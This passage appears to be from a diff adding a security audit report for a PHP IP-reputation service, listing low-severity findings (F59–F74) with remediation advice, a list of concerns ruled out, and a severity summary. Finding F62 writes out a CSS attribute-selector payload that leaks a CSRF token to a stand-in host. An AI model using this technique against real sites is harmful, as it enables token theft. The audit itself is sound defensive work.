+- **Severity: 1**
+
+### F59 — Missing modern hardening headers
+- **Files:** `ui/docker/Caddyfile:18-34`,
+  `api/docker/Caddyfile:24-30`
+- **Risk:** No `Cross-Origin-Opener-Policy`,
+  `Cross-Origin-Resource-Policy`, or
+  `X-Permitted-Cross-Domain-Policies`. `Permissions-Policy` covers
+  only `geolocation`, `microphone`, `camera`. Cheap to add the
+  rest.
+- **Severity: 1**
+
+### F60 — HSTS lacks `preload`
+- **Files:** `ui/docker/Caddyfile:37`, `api/docker/Caddyfile:36`
+- **Risk:** Informational. Operators who want HSTS preload need to
+  add the directive.
+- **Severity: 1**
+
+### F61 — Caddy `Permissions-Policy` minimal
+- **Files:** `ui/docker/Caddyfile:24`, `api/docker/Caddyfile:30`
+- **Risk:** Modern hardening also denies `interest-cohort`,
+  `payment`, `usb`, `magnetometer`, `gyroscope`, `accelerometer`,
+  `fullscreen`, `display-capture`, `clipboard-read`, etc.
+- **Severity: 1**
+
+### F62 — CSP `style-src 'unsafe-inline'` enables CSS-attribute-selector exfiltration
+- **File:** `ui/docker/Caddyfile:33`
+- **Risk:** With an HTML-injection (sub-XSS) primitive, an attacker
+  can write CSS like
+  `input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); }`
+  to leak the CSRF token char-by-char. Drop `'unsafe-inline'` for
+  `style-src` and move dynamic widths to a stylesheet driven by
+  `data-*` attributes.
+- **Severity: 1**
+
+### F63 — Twig `autoescape` default is not explicitly configured
+- **File:** `ui/src/App/Container.php:105-131`
+- **Risk:** Defaults to `'html'` today, but a future Twig major or
+  Slim-twig wrapper change could quietly flip it. Pin
+  `'autoescape' => 'html'`.
+- **Severity: 1**
+
+### F64 — `compose.scheduler.yml` references a missing crontab file
+- **File:** `compose.scheduler.yml:10` (`./docker/scheduler.crontab`)
+- **Risk:** The bind-mount source does not exist in the repository.
+  Container starts with empty `/etc/crontabs/root` and silently never
+  runs `cleanup-audit` (audit retention silently broken) or
+  `cleanup-expired-manual-blocks`. Failure-open monitoring gap.
+- **Severity: 1**
+
+### F65 — `SecretScrubbingProcessor` does not match raw JWT shape
+- **Files:** `api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57`,
+  `ui/src/Logging/SecretScrubbingProcessor.php:22-37`
+- **Risk:** A short Bearer (< 20 chars) is not redacted by the
+  current regex. Raw `id_token`/`access_token` JWTs logged under
+  alternate keys (e.g. `'jwt' => '...'`) escape the key-name list.
+  Add a JWT regex
+  `^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$`.
+- **Severity: 1**
+
+### F66 — `APP_SECRET` and `UI_SECRET` declared but unused
+- **Files:** `.env.example:23, 82`,
+  `api/config/settings.php:35`,
+  `ui/config/settings.php:37`
+- **Risk:** `UI_SECRET` is never referenced in `ui/src/`. `APP_SECRET`
+  is never used for any signing/HMAC operation. Operators following
+  `.env.example` generate secret material that does nothing — a
+  misleading security signal. Either wire them into ETag/CSRF/session
+  signing or remove them.
+- **Severity: 1**
+
+### F67 — UI `Config::validateOrExit` does not check `UI_SECRET` despite docs
+- **Files:** `ui/src/App/Config.php:20-55`,
+  `.env.example:82`
+- **Risk:** `.env.example:82` documents `UI_SECRET` as required
+  ("signs session cookies") but the boot validator does not check
+  it. Sessions are unsigned PHP-native files. Misleading
+  documentation.
+- **Severity: 1**
+
+### F68 — `/api/v1/openapi.yaml` and `/api/docs` are unauthenticated
+- **Files:** `api/src/App/AppFactory.php:99-101`,
+  `api/docker/Caddyfile:40-44`
+- **Risk:** The 48 KB OpenAPI spec leaks the full surface of admin
+  endpoints, internal-job endpoints, expected query/body shapes, and
+  error contracts to unauthenticated callers. Defaults to
+  internet-reachable. Aids reconnaissance. Gate behind a flag like
+  `API_DOCS_PUBLIC` or move to an authenticated path.
+- **Severity: 1**
+
+### F69 — `ReportController` parses unbounded JSON body before size checks
+- **Files:** `api/src/Application/Public/ReportController.php:99-113, 184-197`,
+  `api/src/App/AppFactory.php:67`
+- **Risk:** `jsonBody()` reads `(string) $request->getBody()` and
+  `json_decode`s it without a pre-decoding size check. The 4 KB
+  `METADATA_MAX_BYTES` is checked only after decoding succeeds — the
+  full body is in memory by then. PHP `post_max_size`/`memory_limit`
+  are not configured anywhere in the docker stack. An authenticated
+  reporter (one weak token suffices) can POST a 100 MB body and
+  burn memory; metadata-depth nesting up to PHP's 512 default
+  amplifies. Set `JSON_THROW_ON_ERROR`, cap body size in Caddy, and
+  enforce `php_value memory_limit`.
+- **Severity: 1**
+
+### F70 — `BlocklistController?format=json` forces sha256-of-50k-entries on every cache miss
+- **File:** `api/src/Application/Public/BlocklistController.php:80-85, 176-193`
+- **Risk:** A consumer can request the more expensive JSON renderer
+  on demand. Per-process `BlocklistCache` TTL=30s — every cache miss
+  rebuilds and rehashes. Combined with the per-token-only rate
+  limit, a single consumer at 60 req/s sustains 60 full
+  build-and-hash operations per second per replica. Header
+  size limits cap the `If-None-Match` parse loop but it is still an
+  amplifier. Constrain `format` per consumer (only allow what the
+  consumer typically uses).
+- **Severity: 1**
+
+### F71 — `BlocklistCache` is not size-bounded
+- **File:** `api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59`
+- **Risk:** The cache map is keyed by `$policy->id` and grows
+  monotonically with no LRU. Admin-creatable, but unbounded. Add a
+  bounded LRU (e.g. 16 policies cached).
+- **Severity: 1**
+
+### F72 — `/ips/{ip:.+}` accepts unbounded path parameter
+- **Files:** `api/src/App/AppFactory.php:256`,
+  `api/src/Application/Admin/IpsController.php:121-127`
+- **Risk:** A logged-in Viewer can call `/api/v1/admin/ips/<10MB>`.
+  `rawurldecode` runs on the entire string; `IpAddress::fromString`
+  applies regex. Web-server URL-length limits typically cap this at
+  a few KB but mitigations are environment-specific. Tighten the
+  regex to a strict IP character class.
+- **Severity: 1**
+
+### F73 — UI `JsonExceptionHandler` `getCode()` type-juggling for HTTP status
+- **File:** `ui/src/Http/JsonExceptionHandler.php:40-63`
+- **Risk:** `getCode()` from arbitrary `Throwable` is used as HTTP
+  status if it is in `[400, 600)`. PDOException's `getCode()` is a
+  SQLSTATE *string* (e.g. `'42S02'`) — coerced via comparison. A
+  string like `'400'` would set status 400 and skip prod
+  message-suppression. Cast to int explicitly and reject non-numeric
+  codes.
+- **Severity: 1**
+
+### F74 — `LoginThrottle` writes `logger->warning` per failure with no log-rate cap
+- **File:** `ui/src/Auth/LoginThrottle.php:79-93`
+- **Risk:** A sustained brute-force attack at 100 req/s fills disk via
+  the structured logger. No log-rate cap, no aggregation. Pair with
+  F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
+- **Severity: 1**
+
+---
+
+## Reviewed and acceptable
+
+The following candidate concerns were checked and are not findings in the
+current code. Listed for completeness so the next reviewer doesn't redo
+the same work.
+
+- **No raw SQL interpolation of user input.** All repositories bind via
+  DBAL named/positional parameters. The only `sprintf` into SQL is for
+  table names where values are hardcoded constants or `?` placeholder
+  counts.
+- **No `ORDER BY` injection.** Every `ORDER BY` uses constants — no
+  user-controlled sort column anywhere reviewed.
+- **No `unserialize`, `eval`, `exec`, `shell_exec`, `system`,
+  `passthru`, `proc_open`, `popen`, backticks, or `preg_replace /e`
+  modifier** anywhere in `api/src` or `ui/src` (vendor excluded).
+- **IP/CIDR parsing** (`IpAddress::fromString`, `Cidr::fromString`) is
+  strict — rejects whitespace, leading zeros, bracketed IPv6, zone
+  identifiers, malformed octets.
+- **Token format & entropy.** `random_bytes(20)` = 160 bits, base32
+  encoded. SHA-256 storage at rest. Lookup is by hash — no timing side
+  channel.
+- **Constant-time comparisons** used where they matter (`hash_equals`
+  in CSRF, internal token, local-admin username).
+- **OIDC `S256` PKCE** explicitly set; missing `sub` claim rejected.
+- **Failed-token responses are uniform 401** — no distinction between
+  missing/malformed/unknown/revoked/expired.
+- **Impersonation header is silently ignored on non-service tokens.**
+- **Impersonation user id strictly validated** as `^[1-9][0-9]*$`.
+- **JobRunner orchestrates entirely via DBAL** — no shell-out.
+- **MmdbVerifier opens MMDB via `MaxMind\Db\Reader`** with node-count
+  thresholds; truncated/empty downloads fail closed.
+- **UI Guzzle client uses a fixed `API_BASE_URL`** from env — not
+  user-retargetable.
+- **`MaintenanceController::purge`** loops `'DELETE FROM '.$table` over
+  a hard-coded allowlist.
+- **Twig auto-escape (HTML)** is the default; no `|raw` over
+  user-controlled data was found.
+- **Logout is POST-only and CSRF-protected.**
+- **Session cookie attributes** (`HttpOnly`, `Secure` in prod,
+  `SameSite=Lax`) are correct.
+- **`PharData::extractTo` rejects path traversal** since PHP 8.
+
+---
+
+## Summary of severity counts
+
+| Severity | Count |
+|----------|-------|
+| 3        | 5     |
+| 2        | 27    |
+| 1        | 42    |
+| **Total**| **74**|
+
+The headline risks are: (a) the brute-force lockout is bypassable
+trivially via `X-Forwarded-For` spoofing or distributed sources
+(F1, F2), (b) a leaked or unrotated service token is a single-step
+total compromise because `/api/v1/auth/upsert-local` mints Admin users
+with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit
+integrity rests on a non-transactional best-effort second write that
+silently no-ops on failure (F4, F5). The combination of these means a
+single compromised credential plus a deliberately-failed audit insert
+yields un-traced privilege escalation.